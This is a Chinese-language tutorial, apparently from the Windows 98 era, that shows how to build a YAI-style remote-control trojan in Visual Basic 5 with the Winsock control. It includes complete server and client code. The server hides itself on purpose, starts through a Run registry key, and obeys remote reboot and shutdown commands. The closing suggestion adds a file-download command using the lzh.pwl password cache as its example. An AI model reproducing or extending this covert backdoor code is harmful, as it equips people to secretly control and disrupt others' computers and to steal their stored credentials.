前一段時間,一個名叫YAI的‘病毒’在我國鬧的沸沸揚揚,許多不明真相的人
對他感到神秘莫測,可是究其實質無非也就是一個遠程控制軟件罷了,只不過他的
服務器端程序隱藏的十分好而已。其實在VB5中有一個基於TCP\IP協議的Winsock控
件,利用他改改屬性,寫幾段代碼,我們同樣可以來一回YAI.
由於篇幅所限,在這裡我們只來看看對遠程計算機的重啟,關閉功能室如何實現
的。打開VB5後,在工具箱中並不能看到Winsock控件,通過鼠標右鍵單擊工具箱點
“部件”,再將“Microsoft Winsock Control 5.0”選中確定後,就可以將Winsock
控件添加到工具箱中了。
遠程控制功能是基於客戶機/服務器這一模型來實現的,所以程序的編制也應分兩
部分進行:一部分是服務器端--也就是被控制的一方,另一部分是客戶端--控制方。
服務器程序要守侯在一個固定或不固定的網址(IP)上等待客戶程序的請求;客戶程序
則向服務器程序所在的網址請求連接,連接成功後通過交換信息即可得到相應的服務。
因此設置Winsock屬性時,服務器端應設置LocalPort和應用Listen方法進行監聽,客
戶程序則要設置RemoteHost和RemotePort及應用Connect方法請求連接,並用Senddata
方法互換信息。下面是Winsock控件的相關屬性,方法和事件。(略去一些暫用不到的)
*屬性
-------------------------------------------------------------------------
LocalHostName | 本地機器名
LocalIP | 本地機器IP地址
LocalPort | 本地機器通信程序的端口(0<端口<65536)
RemoteHost | 遠程機器名
RemotePort | 遠程機器的通信程序端口
state | 連接的當前狀態(文後有詳細說明)
Protocal | 使用TCP或UDP協議(這裡我們選‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用於服務器程序,等待客戶訪問。
格式:Winsock對象.listen
Connect
Connect方法用於向遠程主機發出連接請求
格式:Winsock對象.connect [遠程主機IP,遠程端口]
Accept
Accept方法用於接受一個連接請求
格式:Winsock對象.accept Request ID
Senddata
此方法用於發送數據
格? Winsock對象.senddata 數據
Getdata
用來取得接收到的數據
格式:Winsock對象.getdata 變量 [,數據類型 [,最大長度]]
Close
關閉當前連接
格式:Winsock對象.close
*事件
----------------------------------------------------------------------------
Close | 遠程機器關閉連接時觸發
Connect | 連接建立好,可以進行通信時觸發(客戶端)
ConnectRequest | 有請求連接到達時產生(服務器端)
DataArrival | 有數據到達時觸發
Error | 發生錯誤時發生
SendProgress | 數據傳送進度
-----------------------------------------------------------------------------
程序代碼如下:
--》服務器端程序(server.exe)
先在窗體中放置Winsock控件(他在運行時是看不見的),屬性采用默認值,再設置Form1的
屬性ShowInTaskBar為False,Visible為False(這樣才有隱蔽性嘛).對於程序的自啟動可
手工在注冊表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”
中增加鍵值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run寫入
"C:\windows\server.exe"來達到目的。當然也可通過在VB5中調用API函數來實現對注冊表
的寫入,這就更方便了,不過由於實現過程較復雜,就不在這裡說了.
Private Sub Form_Load()
On Error GoTo skip 如此端口已有通信程序則退出
Winsock1.LocalPort = 1334 端口值應大於1024,如還有沖突可改為其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口沖突,退出!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen 關閉連接後繼續監聽
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 請求到達時,接受連接
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget 讀取到達的數據
Select Case strget
Case "a" 判斷到達的數據是否‘a’,是則重啟,你也可自己定義(協議就是這樣產生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 不同機器設置不一樣
Call Shell(ccom, vbHide) 由函數curr_win()來判斷
Case "b" 如為‘b’則關閉計算機
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide) 函數shell來執行命令
Case Else 可以在此加入其他命令
End Select
End Sub
Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1 此函數通過讀取環境變量來獲得Windows目錄
enstr = Environ(i)
Do While enstr <> ""
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!" 如程序出現錯誤,則簡單的退出
End
End Sub
--》客戶端程序(Client.exe)
程序界面如圖[control.jpg]
防入四個命令按鈕,一個標題框,一個Winsock控件,其屬性設置如下:
------------------------------------------------------------------------- -
控件名 | 控件類 | 屬性 | 屬性值
----------------------------------------------------------------------------
closewin_but | commandbutton | caption | 遠程關閉
startwin_but | commandbutton | caption | 遠程重啟
connect_but | commandbutton | caption | 連接
exit_but | commandbutton | caption | 退出
state_lab | label | borderstyle | 1
-----------------------------------------------------------------------------
代碼如下:
Private Sub Form_Load()
Winsock1.LocalPort = 22226 本地端口可任選,只要不沖突且小於65535,用
netstat -an命令可查看當前通信進程
Winsock1.RemoteHost = "127.0.0.1" 調試時此IP將對本機操作,實際應用時可
換上被控方IP
Winsock1.RemotePort = 1334 對應服務器端的localport
state_lab = "未建立連接."
End Sub
Private Sub closewin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "b" 發出關閉命令
End If
End Sub
Private Sub startwin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "a" 發出重啟命令
End If
End Sub
Private Sub connect_but_Click()
On Error GoTo skip
If Winsock1.State = sckConnected Then
state_lab = "已建立連接了"
Else
Winsock1.Connect
End If
Exit Sub
skip: 用netstat命令看到狀態為Time_wait則
If Err.Number = 10048 Then 須等待一段時間才可連接,也可換另一
端口,可加快連接速度
MsgBox "端口正在使用,請稍後再試!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub exit_but_Click()
Winsock1.Close 關閉連接且退出
End
End Sub
Private Sub Winsock1_Connect()
state_lab = "建立連接成功!可發送命令."
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!"
End
End Sub
通過上面的例子,我們大概了解了遠程控制的原理,對於其他功能的實現應該不難了。如
文件的下載,可先讓客戶程序發一命令字串cc:\windows\lzh.pwl,服務器接收到命令字
串後判斷出首字母c為下載命令,則將所指定的命令文件c:\windows\lzh.pwl傳送給客戶
端,完成相應的服務。需要注意的是,此程序只能建立一個連接,如要建立多個連接可通過
在服務器端產生多個Winsock實例來接受請求.
*****測試環境:
Window98,MicroSoft Visual Basic 5.0企業版
附:屬性state值
常數 值 描述 sckClosed 0 關閉狀態 sckOpen 1 打開狀態 sckListening 2 偵聽狀態 sckConnectionPending 3 連接掛起 sckResolvingHost 4 解析域名 sckHostResolved 5 已識別主機 sckConnecting 6 正在連接 sckConnected 7 已連接 sckClosing 8 同級人員正在關閉連接 sckError 9 錯誤